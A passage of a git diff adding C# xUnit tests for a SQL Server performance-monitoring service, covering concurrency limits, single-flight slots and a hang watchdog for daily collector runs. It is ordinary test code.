+            /* Only the removed server's slot was cleared: a neighbour's run that is still going keeps its slot. */
+            MarkDue(neighbour, Daily);
+            await worker.RunDueCollectorsAsync(neighbour, null!, ct);
+            await Task.Delay(100, ct);
+            Assert.Equal(3, runs.Started(Daily));
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(Task.WhenAll(passes), Patience);
+        }
+    }
+
+    [Fact]
+    public async Task ADailyCollector_WhosePreviousDetachedRunIsStillGoing_SkipsThatTick()
+    {
+        var logger = new RecordingLogger();
+        var worker = MakeWorker(logger);
+        var runs = new FakeRuns(worker);
+        var server = MakeServer(4301, Daily);
+        var ct = TestContext.Current.CancellationToken;
+
+        var firstPass = worker.RunDueCollectorsAsync(server, null!, ct);
+        try
+        {
+            Assert.True(await EndsWithinAsync(firstPass, Patience), "the pass must end while the daily run is blocked");
+            Assert.True(await BecomesTrueAsync(() => runs.Started(Daily) == 1, Patience));
+
+            MarkDue(server, Daily);
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            Assert.Equal(1, runs.Started(Daily));
+            Assert.Contains(
+                logger.Snapshot(),
+                e => e.Level == LogLevel.Information && e.Message.Contains("previous", StringComparison.Ordinal) && e.Message.Contains(Daily, StringComparison.Ordinal));
+
+            /* The skip lasts only while the run does: once it finishes, the next due tick runs. */
+            runs.ReleaseAll();
+            Assert.True(await BecomesTrueAsync(() => runs.Finished(Daily) == 1, Patience));
+            var restarted = false;
+            for (var attempt = 0; attempt < 100 && !restarted; attempt++)
+            {
+                MarkDue(server, Daily);
+                await worker.RunDueCollectorsAsync(server, null!, ct);
+                restarted = runs.Started(Daily) == 2;
+                if (!restarted)
+                {
+                    await Task.Delay(20, ct);
+                }
+            }
+
+            Assert.True(restarted, "a finished daily run must not keep skipping the next tick");
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(firstPass, Patience);
+        }
+    }
+
+    [Theory]
+    [InlineData(1, false)]
+    [InlineData(60, false)]
+    [InlineData(1439, false)]
+    [InlineData(1440, true)]
+    [InlineData(2880, true)]
+    public void ADailyInterval_IsOneDayOrMore(int effectiveIntervalMinutes, bool expected) =>
+        Assert.Equal(expected, DarlingWorker.IsDailyInterval(effectiveIntervalMinutes));
+
+    [Fact]
+    public void TheDailyCollectors_AreTheOnLoadSetAndTheCatalogsOneDayCollectors()
+    {
+        var daily = CollectorScheduleDefaults.All
+            .Where(kv => DarlingWorker.IsDailyInterval(CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(kv.Value.FrequencyMinutes)))
+            .Select(kv => kv.Key)
+            .OrderBy(n => n, StringComparer.OrdinalIgnoreCase)
+            .ToList();
+
+        Assert.Equal(
+            new[]
+            {
+                "database_config", "database_scoped_config", "index_object_stats", "pg_column_stats", "pg_extension_availability",
+                "pg_index_bloat", "pg_index_usage_stats", "server_config", "server_properties", "trace_flags",
+            },
+            daily);
+    }
+
+    [Fact]
+    public void ADetachedDailyRun_DoesNotFoldItsDurationIntoTheSweepBodysPeerMark()
+    {
+        /* index_object_stats carries no wall-clock budget, so the inline run folds; detached, it must not. */
+        Assert.False(CollectorCatalog.HasWallClockBudget(Daily));
+        Assert.True(DarlingWorker.FoldsIntoSweepPeerMark(Daily, detachedDaily: false));
+        Assert.False(DarlingWorker.FoldsIntoSweepPeerMark(Daily, detachedDaily: true));
+        Assert.True(DarlingWorker.FoldsIntoSweepPeerMark(FastTier, detachedDaily: false));
+    }
+
+    /// <summary>
+    /// #4999: the exclusion is keyed on "ran detached", not on "budgeted". pg_wait_sampling is detached by name
+    /// (#3604) and carries no wall-clock budget, so the budget rule alone let its ~30 s run into the peer mark of
+    /// whichever body happened to be running when it finished: the same false-slow-peers reading a daily run
+    /// would have caused. query_store and plan_correction are budgeted and stay out either way.
+    /// </summary>
+    [Theory]
+    [InlineData("pg_wait_sampling")]
+    [InlineData("query_store")]
+    [InlineData("plan_correction")]
+    public void AnyDetachedRun_ByName_DoesNotFoldIntoTheSweepBodysPeerMark(string name)
+    {
+        Assert.True(DarlingWorker.IsDetachedByName(name));
+        Assert.False(DarlingWorker.FoldsIntoSweepPeerMark(name, detachedDaily: false));
+    }
+
+    [Fact]
+    public void TheDetachedRuleAloneKeepsAnUnbudgetedDetachedRunOutOfThePeerMark()
+    {
+        /* The case the budget rule cannot reach: detached, and unbudgeted. */
+        Assert.False(CollectorCatalog.HasWallClockBudget("pg_wait_sampling"));
+
+        var server = MakeServer(4401);
+        Assert.Equal(-1, server.SweepPeerMaxMs);
+
+        /* A finished detached run leaves the mark as the body made it, whichever kind of detached run it is. */
+        DarlingWorker.FoldIntoSweepPeerMark(server, "pg_wait_sampling", detachedDaily: false, sqlMs: 30_000);
+        Assert.Equal(-1, server.SweepPeerMaxMs);
+        DarlingWorker.FoldIntoSweepPeerMark(server, Daily, detachedDaily: true, sqlMs: 2_600_000);
+        Assert.Equal(-1, server.SweepPeerMaxMs);
+
+        /* An ordinary unbudgeted run in the body still folds, and a budgeted one still does not (#2864). */
+        DarlingWorker.FoldIntoSweepPeerMark(server, FastTier, detachedDaily: false, sqlMs: 120);
+        Assert.Equal(120, server.SweepPeerMaxMs);
+        Assert.True(CollectorCatalog.HasWallClockBudget("procedure_stats"));
+        DarlingWorker.FoldIntoSweepPeerMark(server, "procedure_stats", detachedDaily: false, sqlMs: 9_000);
+        Assert.Equal(120, server.SweepPeerMaxMs);
+
+        /* And a detached run finishing after the body has built its mark does not raise it. */
+        DarlingWorker.FoldIntoSweepPeerMark(server, "pg_wait_sampling", detachedDaily: false, sqlMs: 30_000);
+        Assert.Equal(120, server.SweepPeerMaxMs);
+    }
+
+    private static async Task<(int CollectorsRun, List<(string Collector, string Reason)> Skipped)> ReadSnapshotAsync(Task<CommandOutcome> snapshot)
+    {
+        var outcome = await snapshot;
+        Assert.True(outcome.Success);
+        using var json = System.Text.Json.JsonDocument.Parse(outcome.ResultJson!);
+        var skipped = new List<(string, string)>();
+        if (json.RootElement.TryGetProperty("skipped", out var list))
+        {
+            foreach (var item in list.EnumerateArray())
+            {
+                skipped.Add((item.GetProperty("collector").GetString()!, item.GetProperty("reason").GetString()!));
+            }
+        }
+
+        return (json.RootElement.GetProperty("collectorsRun").GetInt32(), skipped);
+    }
+
+    /// <summary>
+    /// #4999: snapshot_now takes the same single-flight slot a scheduled daily run holds. While that run is going
+    /// the snapshot leaves the collector out and says its scheduled run is still going, instead of running it a
+    /// second time beside the first. The snapshot's other collectors still run, and it still ends.
+    /// </summary>
+    [Fact]
+    public async Task ASnapshot_SkipsADailyCollector_WhoseScheduledRunIsStillGoing_AndSaysSo()
+    {
+        var worker = MakeWorker(new RecordingLogger());
+        var runs = new FakeRuns(worker);
+        var server = MakeServer(4501, Daily);
+        var ct = TestContext.Current.CancellationToken;
+
+        var scheduledPass = worker.RunDueCollectorsAsync(server, null!, ct);
+        Task<CommandOutcome>? snapshot = null;
+        try
+        {
+            Assert.True(await EndsWithinAsync(scheduledPass, Patience));
+            Assert.True(await BecomesTrueAsync(() => runs.Started(Daily) == 1, Patience), "the scheduled daily run is going");
+
+            snapshot = worker.RunSnapshotAsync([server], null!, server.Config.ServerId, ct);
+            Assert.True(
+                await EndsWithinAsync(snapshot, Patience),
+                "the snapshot must skip the collector whose scheduled run holds the slot, not run it a second time and wait on it");
+
+            var (collectorsRun, skipped) = await ReadSnapshotAsync(snapshot);
+            Assert.Equal(1, runs.Started(Daily));
+            Assert.True(collectorsRun > 0, "the snapshot's other collectors still run");
+            var only = Assert.Single(skipped);
+            Assert.Equal(Daily, only.Collector);
+            Assert.Contains("scheduled", only.Reason, StringComparison.Ordinal);
+            Assert.Contains("still going", only.Reason, StringComparison.Ordinal);
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(scheduledPass, Patience);
+            if (snapshot is not null)
+            {
+                await EndsWithinAsync(snapshot, Patience);
+            }
+        }
+    }
+
+    /// <summary>
+    /// #4999: with the slot free the snapshot runs the daily collector inline (the snapshot waits for it), holds
+    /// the slot for that run, and gives it back after: the next scheduled run is not skipped by a snapshot that
+    /// is over.
+    /// </summary>
+    [Fact]
+    public async Task ASnapshot_RunsADailyCollectorInline_HoldingTheSlotOnlyForThatRun()
+    {
+        var worker = MakeWorker(new RecordingLogger());
+        var runs = new FakeRuns(worker);
+        var server = MakeServer(4601);
+        var ct = TestContext.Current.CancellationToken;
+
+        var snapshot = worker.RunSnapshotAsync([server], null!, server.Config.ServerId, ct);
+        try
+        {
+            Assert.True(await BecomesTrueAsync(() => runs.Started(Daily) == 1, Patience), "the snapshot runs the daily collector");
+            Assert.False(snapshot.IsCompleted, "the daily run is inline: the snapshot waits for it");
+
+            runs.ReleaseAll();
+            Assert.True(await EndsWithinAsync(snapshot, Patience));
+            var (_, skipped) = await ReadSnapshotAsync(snapshot);
+            Assert.Empty(skipped);
+
+            /* The slot is free again: a scheduled run of the same collector starts. */
+            MarkDue(server, Daily);
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            Assert.True(await BecomesTrueAsync(() => runs.Started(Daily) == 2, Patience), "the slot was released after the snapshot's run");
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await EndsWithinAsync(snapshot, Patience);
+        }
+    }
+
+    /// <summary>
+    /// The run reaches the mark only through the rule above: the one call in the run, and the one place that
+    /// writes the high-water mark. A write inline in the run would bypass the rule and read as correct in every
+    /// case above.
+    /// </summary>
+    [Fact]
+    public void TheMarkIsWrittenOnlyThroughTheRuleThatKeepsDetachedRunsOut()
+    {
+        var worker = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs");
+
+        Assert.Equal(1, CountOf(worker, "FoldIntoSweepPeerMark(server, collectorName, detachedDaily, result.SqlMs);"));
+        Assert.Equal(1, CountOf(worker, "server.SweepPeerMaxMs = (int)Math.Min("));
+    }
+
+    private static int CountOf(string haystack, string needle)
+    {
+        var count = 0;
+        for (var i = haystack.IndexOf(needle, StringComparison.Ordinal); i >= 0;
+             i = haystack.IndexOf(needle, i + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
+    }
+
+    private sealed class RecordingLogger : ILogger<DarlingWorker>
+    {
+        private List<(LogLevel Level, string Message, Exception? Exception)> Entries { get; } = [];
+
+        public List<(LogLevel Level, string Message, Exception? Exception)> Snapshot()
+        {
+            lock (Entries)
+            {
+                return [.. Entries];
+            }
+        }
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(
+            LogLevel logLevel, EventId eventId, TState state, Exception? exception,
+            Func<TState, Exception?, string> formatter)
+        {
+            lock (Entries)
+            {
+                Entries.Add((logLevel, formatter(state, exception), exception));
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DailyDeadlockWindowCensusTests.cs b/Darling/Darling.Tests/DailyDeadlockWindowCensusTests.cs
index 228ebdd33c..d5750b55f7 100644
--- a/Darling/Darling.Tests/DailyDeadlockWindowCensusTests.cs
+++ b/Darling/Darling.Tests/DailyDeadlockWindowCensusTests.cs
@@ -22,6 +22,8 @@ namespace Darling.Tests;
 /// <c>DeadlockRateBandRungTests.EveryProductionMetricBundleDeclaresTheWindowAndTheTiers</c> census, one
 /// signals type over: same walker, same brace-matching, same whole-repo scope.
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class DailyDeadlockWindowCensusTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/DailyRunCapAndWatchdogTests.cs b/Darling/Darling.Tests/DailyRunCapAndWatchdogTests.cs
new file mode 100644
index 0000000000..b4560af34d
--- /dev/null
+++ b/Darling/Darling.Tests/DailyRunCapAndWatchdogTests.cs
@@ -0,0 +1,895 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The pieces the daily-run cap and the hang watchdog share (#4999): a worker with no store, a server that is due
+/// for one collector, a stand-in for the collector run that a test can hold open, and a logger that keeps what it
+/// is told. Nothing here needs a store or a monitored server.
+/// </summary>
+internal static class DailyRunKit
+{
+    internal const string Daily = "index_object_stats";
+
+    internal static readonly TimeSpan Patience = TimeSpan.FromSeconds(5);
+
+    internal static DarlingWorker MakeWorker(DailyRunLogger logger) =>
+        new(
+            logger,
+            NullLoggerFactory.Instance,
+            new McpRuntimeState(),
+            new WebRuntimeState(),
+            new MonitoredServerRegistryState(),
+            new CollectorRuntimeState(),
+            new WebTlsCertificateState(),
+            new BaselineCache(),
+            new ReadLatencyAccumulator());
+
+    internal static DarlingWorker.ServerLoopState MakeServer(int serverId, string collector, CollectorTargetInfo? target = null)
+    {
+        var host = $"cap-test-{serverId}";
+        var config = new MonitoredServer { Name = host, Host = host };
+        var runtime = new ServerRuntime
+        {
+            Config = config,
+            ConnectionString = $"Server=tcp:{host},1433;Initial Catalog=master;Encrypt=True",
+            Target = target ?? new CollectorTargetInfo(),
+            StorageName = host,
+            ServerId = serverId,
+        };
+        var server = new DarlingWorker.ServerLoopState { Config = config, Runtime = runtime };
+        server.NextDue[collector] = DateTime.UtcNow.AddMinutes(-5);
+        return server;
+    }
+
+    internal static async Task<bool> EndsWithinAsync(Task task, TimeSpan patience) =>
+        await Task.WhenAny(task, Task.Delay(patience)) == task;
+
+    internal static async Task<bool> BecomesTrueAsync(Func<bool> condition, TimeSpan patience)
+    {
+        var deadline = DateTime.UtcNow + patience;
+        while (DateTime.UtcNow < deadline)
+        {
+            if (condition())
+            {
+                return true;
+            }
+
+            await Task.Delay(10);
+        }
+
+        return condition();
+    }
+
+    internal static int Count(string text, string needle)
+    {
+        var count = 0;
+        for (var at = text.IndexOf(needle, StringComparison.Ordinal); at >= 0; at = text.IndexOf(needle, at + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
+    }
+}
+
+/// <summary>The stand-in for a collector run: each named collector holds open until a test releases it, one release per run.</summary>
+internal sealed class HeldRuns
+{
+    private readonly object _lock = new();
+    private readonly SemaphoreSlim _release = new(0);
+    private readonly HashSet<string> _held;
+    private int _started;
+
+    /// <param name="worker">The worker whose collector runs this stands in for.</param>
+    /// <param name="held">The collectors whose runs hold open. Every other collector returns at once.</param>
+    public HeldRuns(DarlingWorker worker, params string[] held)
+    {
+        _held = [.. held];
+        worker.RunOneBodyOverride = async (_, _, collector, _) =>
+        {
+            if (_held.Contains(collector))
+            {
+                lock (_lock)
+                {
+                    _started++;
+                }
+
+                /* Ignores the token, as a run in the middle of a store write does. */
+                await _release.WaitAsync(CancellationToken.None);
+            }
+
+            return 1;
+        };
+    }
+
+    public int Started
+    {
+        get
+        {
+            lock (_lock)
+            {
+                return _started;
+            }
+        }
+    }
+
+    public void ReleaseOne() => _release.Release();
+
+    public void ReleaseAll() => _release.Release(1000);
+}
+
+/// <summary>A logger that keeps every line it is given, so a test can read what the worker said.</summary>
+internal sealed class DailyRunLogger : ILogger<DarlingWorker>
+{
+    private readonly List<(LogLevel Level, string Message)> _entries = [];
+
+    public List<(LogLevel Level, string Message)> Snapshot()
+    {
+        lock (_entries)
+        {
+            return [.. _entries];
+        }
+    }
+
+    public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+    public bool IsEnabled(LogLevel logLevel) => true;
+
+    public void Log<TState>(
+        LogLevel logLevel, EventId eventId, TState state, Exception? exception,
+        Func<TState, Exception?, string> formatter)
+    {
+        lock (_entries)
+        {
+            _entries.Add((logLevel, formatter(state, exception)));
+        }
+    }
+}
+
+/// <summary>
+/// #4999: the limiter behind the daily-run cap is a semaphore whose size can change while runs hold permits. These
+/// cases pin what a plain semaphore cannot do: widen and start the waiting runs, narrow without taking anything
+/// back, and let a cancelled waiter go without leaking a permit.
+/// </summary>
+public sealed class DailyRunLimiterTests
+{
+    private static readonly TimeSpan Patience = DailyRunKit.Patience;
+
+    [Fact]
+    public void TryAcquire_TakesUpToTheCap_ThenSaysNo()
+    {
+        var limiter = new DailyRunLimiter(2);
+
+        Assert.True(limiter.TryAcquire());
+        Assert.True(limiter.TryAcquire());
+        Assert.False(limiter.TryAcquire());
+        Assert.Equal(2, limiter.InUse);
+
+        limiter.Release();
+        Assert.True(limiter.TryAcquire());
+    }
+
+    [Fact]
+    public async Task AWaitingRun_StartsWhenAPermitIsReleased_OldestFirst()
+    {
+        var limiter = new DailyRunLimiter(1);
+        Assert.True(limiter.TryAcquire());
+
+        var first = limiter.AcquireAsync(CancellationToken.None);
+        var second = limiter.AcquireAsync(CancellationToken.None);
+        Assert.Equal(2, limiter.Waiting);
+        Assert.False(first.IsCompleted);
+        Assert.False(second.IsCompleted);
+
+        limiter.Release();
+        await first.WaitAsync(Patience, TestContext.Current.CancellationToken);
+        Assert.False(second.IsCompleted, "one permit freed, one run started: the younger waiter keeps waiting");
+
+        limiter.Release();
+        await second.WaitAsync(Patience, TestContext.Current.CancellationToken);
+        Assert.Equal(1, limiter.InUse);
+        Assert.Equal(0, limiter.Waiting);
+    }
+
+    [Fact]
+    public async Task Widening_StartsTheWaitingRuns()
+    {
+        var limiter = new DailyRunLimiter(1);
+        Assert.True(limiter.TryAcquire());
+        var first = limiter.AcquireAsync(CancellationToken.None);
+        var second = limiter.AcquireAsync(CancellationToken.None);
+
+        Assert.True(limiter.SetCap(3));
+
+        await Task.WhenAll(first, second).WaitAsync(Patience, TestContext.Current.CancellationToken);
+        Assert.Equal(3, limiter.InUse);
+        Assert.Equal(3, limiter.Cap);
+        Assert.False(limiter.SetCap(3), "the same cap is no change");
+    }
+
+    [Fact]
+    public async Task Narrowing_TakesNothingBack_AndAWaitingRunStartsOnlyOnceFewerThanTheCapAreGoing()
+    {
+        var limiter = new DailyRunLimiter(3);
+        Assert.True(limiter.TryAcquire());
+        Assert.True(limiter.TryAcquire());
+        Assert.True(limiter.TryAcquire());
+
+        Assert.True(limiter.SetCap(1));
+        Assert.Equal(3, limiter.InUse);
+        Assert.False(limiter.TryAcquire());
+
+        var waiting = limiter.AcquireAsync(CancellationToken.None);
+        limiter.Release();
+        limiter.Release();
+        await Task.Delay(100, TestContext.Current.CancellationToken);
+        Assert.False(waiting.IsCompleted, "one run is still going and the cap is one: the waiting run must not start");
+
+        limiter.Release();
+        await waiting.WaitAsync(Patience, TestContext.Current.CancellationToken);
+        Assert.Equal(1, limiter.InUse);
+    }
+
+    [Fact]
+    public async Task ACancelledWaiter_LeavesTheQueue_AndTakesNoPermit()
+    {
+        var limiter = new DailyRunLimiter(1);
+        Assert.True(limiter.TryAcquire());
+        using var cancel = new CancellationTokenSource();
+        var waiting = limiter.AcquireAsync(cancel.Token);
+        Assert.Equal(1, limiter.Waiting);
+
+        await cancel.CancelAsync();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => waiting);
+        Assert.Equal(0, limiter.Waiting);
+
+        limiter.Release();
+        Assert.Equal(0, limiter.InUse);
+        Assert.True(limiter.TryAcquire(), "the cancelled run left no permit behind");
+    }
+
+    [Fact]
+    public void TheCap_IsNeverBelowOne()
+    {
+        var limiter = new DailyRunLimiter(0);
+        Assert.Equal(1, limiter.Cap);
+
+        Assert.True(limiter.SetCap(5));
+        Assert.True(limiter.SetCap(-3));
+        Assert.Equal(1, limiter.Cap);
+    }
+}
+
+/// <summary>
+/// #4999: the daily-run cap comes from the store's connection pool, not from a flat 16. Every daily run holds a
+/// store connection for its whole run (index_object_stats took 43 minutes in a field case) and so does every sweep
+/// body, so 16 daily runs plus a sweep nine wide asked a pool of 24 for more connections than it has. The cap is
+/// the smaller of 16 and (pool - sweep width - 8 kept free for reads), never below 1.
+/// </summary>
+public sealed class DailyRunCapTests
+{
+    private static readonly TimeSpan Patience = DailyRunKit.Patience;
+
+    [Theory]
+    [InlineData(24, 9, 7)]
+    [InlineData(24, 4, 12)]
+    [InlineData(24, 16, 1)]
+    [InlineData(100, 9, 16)]
+    [InlineData(100, 4, 16)]
+    [InlineData(10, 9, 1)]
+    [InlineData(1, 4, 1)]
+    [InlineData(0, 4, 1)]
+    [InlineData(int.MaxValue, 1, 16)]
+    [InlineData(int.MinValue, 16, 1)]
+    public void TheCap_IsThePoolLessTheSweepWidthLessTheReserve_BetweenOneAndSixteen(int pool, int sweepWidth, int expected) =>
+        Assert.Equal(expected, DarlingWorker.DailyRunCapFor(pool, sweepWidth));
+
+    /// <summary>
+    /// M1 (#5481 round 2): the fleet self-alert pass's store reads come out of the reserve, at most half of it. At every
+    /// sweep width on the managed pool of 24, the bodies, the capped pass and the daily runs leave at least half the
+    /// reserve free for the web viewer's and the MCP tools' reads. With the pass at the full sweep width, width 16
+    /// needed 16 + 16 + 1 = 33 connections of 24.
+    /// </summary>
+    [Theory]
+    [InlineData(24, 1)]
+    [InlineData(24, 4)]
+    [InlineData(24, 9)]
+    [InlineData(24, 16)]
+    [InlineData(40, 16)]
+    public void TheCappedSelfAlertPass_LeavesHalfTheReserveFree(int pool, int sweepWidth)
+    {
+        var pass = DarlingWorker.SelfAlertPassWidthFor(sweepWidth);
+        var daily = DarlingWorker.DailyRunCapFor(pool, sweepWidth);
+
+        var free = pool - sweepWidth - pass - daily;
+
+        /* Never over the pool, whatever the width. */
+        Assert.True(free >= 0, $"pool {pool}, width {sweepWidth}: bodies {sweepWidth} + pass {pass} + daily {daily} is over the pool");
+
+        /* The daily cap never goes below one, so only a pool with room for more than that is held to the half reserve. */
+        if (daily > 1)
+        {
+            Assert.True(free >= DarlingWorker.DailyRunPoolReserve / 2, $"pool {pool}, width {sweepWidth}: only {free} connections left free");
+        }
+    }
+
+    [Fact]
+    public void APoolThatBoundsNothing_LeavesTheCeiling() =>
+        Assert.Equal(DarlingWorker.MaxConcurrentDailyRuns, DarlingWorker.DailyRunCapFor(null, 9));
+
+    [Fact]
+    public void TheReserve_IsEight_AndTheCeilingSixteen()
+    {
+        Assert.Equal(8, DarlingWorker.DailyRunPoolReserve);
+        Assert.Equal(16, DarlingWorker.MaxConcurrentDailyRuns);
+    }
+
+    [Theory]
+    [InlineData("Host=127.0.0.1;Port=5432;Database=d;Username=u;Maximum Pool Size=24", 24)]
+    [InlineData("Host=127.0.0.1;Port=5432;Database=d;Username=u;MaxPoolSize=7", 7)]
+    [InlineData("Host=127.0.0.1;Port=5432;Database=d;Username=u;Password=secret;Maximum Pool Size=50", 50)]
+    [InlineData("Host=127.0.0.1;Port=5432;Database=d;Username=u", 100)]
+    public async Task ThePool_IsReadFromTheStoresOwnDataSource_WhateverTheOperatorSetOrNpgsqlDefaults(string connectionString, int expected)
+    {
+        await using var dataSource = NpgsqlDataSource.Create(connectionString);
+
+        Assert.Equal(expected, DarlingWorker.StorePoolMaxSize(dataSource));
+    }
+
+    [Fact]
+    public async Task ThePool_IsUnbounded_WhenPoolingIsOffOrThereIsNoStore()
+    {
+        await using var unpooled = NpgsqlDataSource.Create("Host=127.0.0.1;Port=5432;Database=d;Username=u;Pooling=false");
+
+        Assert.Null(DarlingWorker.StorePoolMaxSize(unpooled));
+        Assert.Null(DarlingWorker.StorePoolMaxSize(null));
+    }
+
+    [Fact]
+    public async Task TheCapInForce_FollowsThePoolAndTheSweepWidth_AndARunOverItWaits()
+    {
+        var logger = new DailyRunLogger();
+        var worker = DailyRunKit.MakeWorker(logger);
+        var runs = new HeldRuns(worker, DailyRunKit.Daily);
+        var ct = TestContext.Current.CancellationToken;
+
+        /* A pool of 24 and a sweep nine wide: 24 - 9 - 8 = 7. The flat 16 let all eight of these start. */
+        worker.ApplyDailyRunCap(24, 9);
+        Assert.Equal(7, worker.DailyRunCap);
+
+        var servers = Enumerable.Range(0, 8).Select(i => DailyRunKit.MakeServer(7100 + i, DailyRunKit.Daily)).ToList();
+        try
+        {
+            foreach (var server in servers)
+            {
+                await worker.RunDueCollectorsAsync(server, null!, ct);
+            }
+
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => runs.Started == 7, Patience), "seven daily runs start at once");
+            await Task.Delay(300, ct);
+            Assert.Equal(7, runs.Started);
+            Assert.Equal(7, worker.DailyRunsHoldingPermits);
+
+            /* The sweep is narrowed to four: the cap is recomputed to 12 and the waiting run starts. */
+            worker.ApplyDailyRunCap(24, 4);
+            Assert.Equal(12, worker.DailyRunCap);
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => runs.Started == 8, Patience), "a wider cap starts the run that was waiting");
+
+            /* Narrowed to the floor of one: the eight going keep going, and a ninth waits behind all of them. */
+            worker.ApplyDailyRunCap(24, 16);
+            Assert.Equal(1, worker.DailyRunCap);
+            var ninth = DailyRunKit.MakeServer(7200, DailyRunKit.Daily);
+            await worker.RunDueCollectorsAsync(ninth, null!, ct);
+            await Task.Delay(300, ct);
+            Assert.Equal(8, runs.Started);
+
+            for (var i = 0; i < 7; i++)
+            {
+                runs.ReleaseOne();
+            }
+
+            await Task.Delay(300, ct);
+            Assert.Equal(8, runs.Started);
+
+            runs.ReleaseOne();
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => runs.Started == 9, Patience), "the ninth starts once nothing else is going");
+        }
+        finally
+        {
+            runs.ReleaseAll();
+            await DailyRunKit.BecomesTrueAsync(() => worker.InFlightDetachedRuns.Count == 0, Patience);
+        }
+    }
+
+    [Fact]
+    public void TheCap_IsLoggedOnceAtStart_AndAgainOnlyWhenItChanges()
+    {
+        var logger = new DailyRunLogger();
+        var worker = DailyRunKit.MakeWorker(logger);
+
+        List<string> CapLines() => logger.Snapshot()
+            .Where(e => e.Level == LogLevel.Information && e.Message.Contains("Daily collectors run at most", StringComparison.Ordinal))
+            .Select(e => e.Message)
+            .ToList();
+
+        worker.ApplyDailyRunCap(24, 9);
+        var start = Assert.Single(CapLines());
+        Assert.Contains("at most 7 ", start, StringComparison.Ordinal);
+        Assert.Contains("(24)", start, StringComparison.Ordinal);
+        Assert.Contains("(9)", start, StringComparison.Ordinal);
+
+        worker.ApplyDailyRunCap(24, 9);
+        Assert.Single(CapLines());
+
+        worker.ApplyDailyRunCap(24, 4);
+        Assert.Equal(2, CapLines().Count);
+        Assert.Contains("at most 12 ", CapLines()[1], StringComparison.Ordinal);
+
+        worker.ApplyDailyRunCap(100, 4);
+        Assert.Equal(3, CapLines().Count);
+
+        /* A width that moves the pool-bound cap nowhere (16 either way) says nothing. */
+        worker.ApplyDailyRunCap(100, 9);
+        Assert.Equal(3, CapLines().Count);
+    }
+
+    [Fact]
+    public void TheLoop_SetsTheCapAtStart_AndWheneverTheSweepWidthMoves()
+    {
+        var source = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs");
+
+        /* The collection loop needs a store, so what a case here can pin is that the two places the width is set are
+           the two places that recompute the cap, and that the permits are no longer a fixed-size semaphore. */
+        Assert.Equal(1, DailyRunKit.Count(source, "ApplyDailyRunCap(StorePoolMaxSize(postgres), initialSweepWidth);"));
+        Assert.Equal(1, DailyRunKit.Count(source, "ApplyDailyRunCap(StorePoolMaxSize(postgres), reloadedSweepWidth);"));
+        Assert.Equal(0, DailyRunKit.Count(source, "new(MaxConcurrentDailyRuns, MaxConcurrentDailyRuns)"));
+    }
+}
+
+/// <summary>
+/// #4999: the hang watchdog covered only the per-server bodies, and a daily run is detached from them, so a daily run
+/// that stopped making progress showed up only as stale data at 36 hours. It now watches the daily runs that are
+/// executing, on a threshold of their own (15 minutes, not the sweep's 60 seconds) and with the same one Warning,
+/// naming the server and the collector. The three runs detached by name are watched the same way
+/// (<see cref="DetachedByNameWatchdogTests"/>).
+/// </summary>
+public sealed class DailyRunWatchdogTests
+{
+    private static readonly TimeSpan Patience = DailyRunKit.Patience;
+
+    private static List<string> Warnings(DailyRunLogger logger) =>
+        logger.Snapshot().Where(e => e.Level == LogLevel.Warning).Select(e => e.Message).ToList();
+
+    [Fact]
+    public async Task ADailyRun_ExecutingPastTheThreshold_IsReportedOnce_NamingTheServerAndTheCollector()
+    {
+        var logger = new DailyRunLogger();
+        var worker = DailyRunKit.MakeWorker(logger);
+        var runs = new HeldRuns(worker, DailyRunKit.Daily);
+        var server = DailyRunKit.MakeServer(7301, DailyRunKit.Daily);
+        var ct = TestContext.Current.CancellationToken;
+
+        try
+        {
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => runs.Started == 1, Patience), "the daily run starts");
+            var startedBy = DateTime.UtcNow;
+
+            Assert.Equal(1, worker.WatchDailyRuns(startedBy.AddSeconds(DarlingWorker.DailyRunWatchdogSeconds + 1)));
+
+            var warning = Assert.Single(Warnings(logger));
+            Assert.Contains(server.Config.DisplayName, warning, StringComparison.Ordinal);
+            Assert.Contains(DailyRunKit.Daily, warning, StringComparison.Ordinal);
+
+            /* One Warning per run: a later tick finds the run still going and says nothing more. */
+            Assert.Equal(0, worker.WatchDailyRuns(startedBy.AddSeconds(DarlingWorker.DailyRunWatchdogSeconds + 600)));
+            Assert.Single(Warnings(logger));
+
+            /* The end of a run the watchdog warned about is logged, and the run is no longer watched. */
+            runs.ReleaseAll();
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => worker.InFlightDetachedRuns.Count == 0, Patience), "the run ends");
+            Assert.Contains(
+                logger.Snapshot(),
